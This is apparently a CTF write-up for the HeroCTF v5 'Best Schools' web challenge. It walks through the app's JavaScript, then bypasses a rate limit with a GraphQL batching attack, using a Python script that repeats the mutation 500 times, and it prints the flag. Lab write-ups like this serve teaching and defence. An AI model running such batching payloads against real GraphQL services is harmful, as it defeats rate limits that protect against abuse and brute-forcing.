Tags: graphql batching_attack 

Rating:

# Best Schools

## Background

An anonymous company has decided to publish a ranking of the best schools, and it is based on the number of clicks on a button! Make sure you get the 'Flag CyberSecurity School' in first place and you'll get your reward!

> Deploy on [deploy.heroctf.fr](https://deploy.heroctf.fr/)

Format : **Hero{flag}**
Author : **Worty**

![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/HeroCTF-v5/images/Pasted%20image%2020230513135752.png)

## Enumeration

**Home page:**

![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/HeroCTF-v5/images/Pasted%20image%2020230513123547.png)

In here, we can add 1 to the number of clicks in each school, and get the flag.

**We can try to click the "Get The Flag!" button:**

![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/HeroCTF-v5/images/Pasted%20image%2020230513123924.png)

When we clicked that, it returns "'Flag CyberSecurity School' is not the best, no flag for you".

With that said, **our goal should be getting more than 1337 number of clicks in "Flag CyberSecurity School".**

Now, if we proxy through our requests, we can see the following **GraphQL queries**:

![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/HeroCTF-v5/images/Pasted%20image%2020230513124226.png)

**View source page:**
```html
[...]
<div class="col text-center">

Welcome on the school ranking app !


It's very simple, just click on "i'm at this school" and the ranking will be updated !


<div id="ranking"></div>
<input type="button" class="btn btn-primary" onclick="getFlag()" value="Get The Flag !"></input>
</div>
[...]
<script>
[...]
function getFlag()
{
fetch("/flag", {
method: "GET",
headers:{
"Content-Type": "application/json",
"Accept": "application/json"
}
}).then(r => r.json())
.then(
function(data)
{
alert(data.data)
}
)
}
[...]
</script>
```

When we click the "Get The Flag!" button, it'll send a GET request to `/flag`, and it'll response us with some data, which is the output of checking the highest number of clicks?

**Then, when the window is loaded:**
```html
<script>
var schoolNames = ["Cyber Super School","University Of Cybersecurity","Flag CyberSecurity School","The Best Best CyberSecurity School"]
function updateHtml(res_graphql)
{
$("#ranking").empty();
var best_school = res_graphql[0].data.getNbClickSchool.schoolName;
var maxNbClick = res_graphql[0].data.getNbClickSchool.nbClick
var html_append = `
<table class="table">
<thead class="thead-dark">
<tr>
<th scope="col">#</th>
<th scope="col">School Name</th>
<th scope="col">Number of clicks</th>
<th scope="col">Action</th>
</tr>
</thead>
<tbody>
`;
for(var i=0; i<res_graphql.length; i++)
{
if(maxNbClick < res_graphql[i].data.getNbClickSchool.nbClick)
{
best_school = res_graphql[i].data.getNbClickSchool.schoolName;
maxNbClick = res_graphql[i].data.getNbClickSchool.nbClick;
}
html_append+=`<tr><th scope="row">${res_graphql[i].data.getNbClickSchool.schoolId}</th><td>${res_graphql[i].data.getNbClickSchool.schoolName}</td><td id="click${res_graphql[i].data.getNbClickSchool.schoolId}">${res_graphql[i].data.getNbClickSchool.nbClick}</td><td><input type="button" onclick="updateNbClick('${res_graphql[i].data.getNbClickSchool.schoolName}')" class="btn btn-warning" value="I'm at this school"></input></td>`;
}
html_append+="</tbody></table>";
html_append+=`

The best school for cybersecurity is : ${best_school} with ${maxNbClick} clicks ! Congratulations !

`
$("#ranking").append(html_append)
}
[...]
$(document).ready(async function(){
var res_graphql = [];
for(var i=0; i<schoolNames.length; i++)
{
var res = await fetch("/graphql", {
method: "POST",
headers:{
"Content-Type": "application/json",
"Accept": "application/json"
},
body: JSON.stringify({query: `{getNbClickSchool(schoolName: "${schoolNames[i]}" ){schoolId, schoolName, nbClick}}`})
})
.then(r => r.json())
.then(
function(data)
{
res_graphql.push(data)
}
)
}
updateHtml(res_graphql)
});
</script>
```

It'll loop through all the `schoolNames` and get the number of clicks via GraphQL `getNbClickSchool` query, then update the HTML content.

**Next, when we clicked "I'm at this school" button, it'll run the following JavaScript function:**
```js
function updateNbClick(schoolName)
{
var updated_school = [];
fetch("/graphql", {
method: "POST",
headers:{
"Content-Type": "application/json",
"Accept": "application/json"
},
body: JSON.stringify({query: `mutation { increaseClickSchool(schoolName: "${schoolName}"){schoolId, nbClick} }`})
}).then(r => r.json())
.then(
function(data)
{
if(data.error != undefined)
{
alert(data.error)
}
document.getElementById(`click${data.data.increaseClickSchool.schoolId}`).innerHTML = data.data.increaseClickSchool.nbClick
}
)
}
```

This will send a POST request to `/graphql` endpoint and **using the `increaseClickSchool` mutation query to update the number of clicks.**

Now, we can we do to update the number of clicks in "Flag CyberSecurity School" more than 1337??

Since **mutation query** is used to make changes in the server-side, we could pay extra attention on the `increaseClickSchool` mutation query.

**When we send the query too fast, it'll returns the following response:**

![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/HeroCTF-v5/images/Pasted%20image%2020230513134140.png)

![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/HeroCTF-v5/images/Pasted%20image%2020230513134153.png)

## Exploitation

That being said, it has implemented rate limiting.

Hmm that's weird!!

**Can we bypass that??**

Yes we can, and it's an attack in GraphQL: ***GraphQL Batching Attack***

**In [Paulo A. Silva](https://checkmarx.com/blog/didnt-notice-your-rate-limiting-graphql-batching-attack/) blog, we could send multiple queries:**

![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/HeroCTF-v5/images/Pasted%20image%2020230513134441.png)

**Let's try that!**

![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/HeroCTF-v5/images/Pasted%20image%2020230513134450.png)

![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/HeroCTF-v5/images/Pasted%20image%2020230513134500.png)

Oh!! it works!!

**Now, let's copy those mutation query more than 1337 times, and we should able to get the flag!**

**Generating payload Python script:**
```py
#!/usr/bin/env python3

if __name__ == '__main__':
batchingPayload = '''{"query":"mutation { increaseClickSchool(schoolName: \\"Flag CyberSecurity School\\"){schoolId, nbClick} }"},'''
lastBatchingPayload = '''{"query":"mutation { increaseClickSchool(schoolName: \\"Flag CyberSecurity School\\"){schoolId, nbClick} }"}'''
print(f'[{batchingPayload * 499}{lastBatchingPayload}]')
```

![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/HeroCTF-v5/images/Pasted%20image%2020230513135037.png)

![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/HeroCTF-v5/images/Pasted%20image%2020230513135136.png)

We're very close!

![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/HeroCTF-v5/images/Pasted%20image%2020230513135241.png)

Nice! Let's get the flag!

![](https://raw.githubusercontent.com/siunam321/CTF-Writeups/main/HeroCTF-v5/images/Pasted%20image%2020230513135340.png)

- **Flag: `Hero{gr4phql_b4tch1ng_t0_byp4ss_r4t3_l1m1t_!!}`**

## Conclusion

What we've learned:

1. Exploiting GraphQL Batching Attack

Original writeup (https://siunam321.github.io/ctf/HeroCTF-v5/Web/Best-Schools/).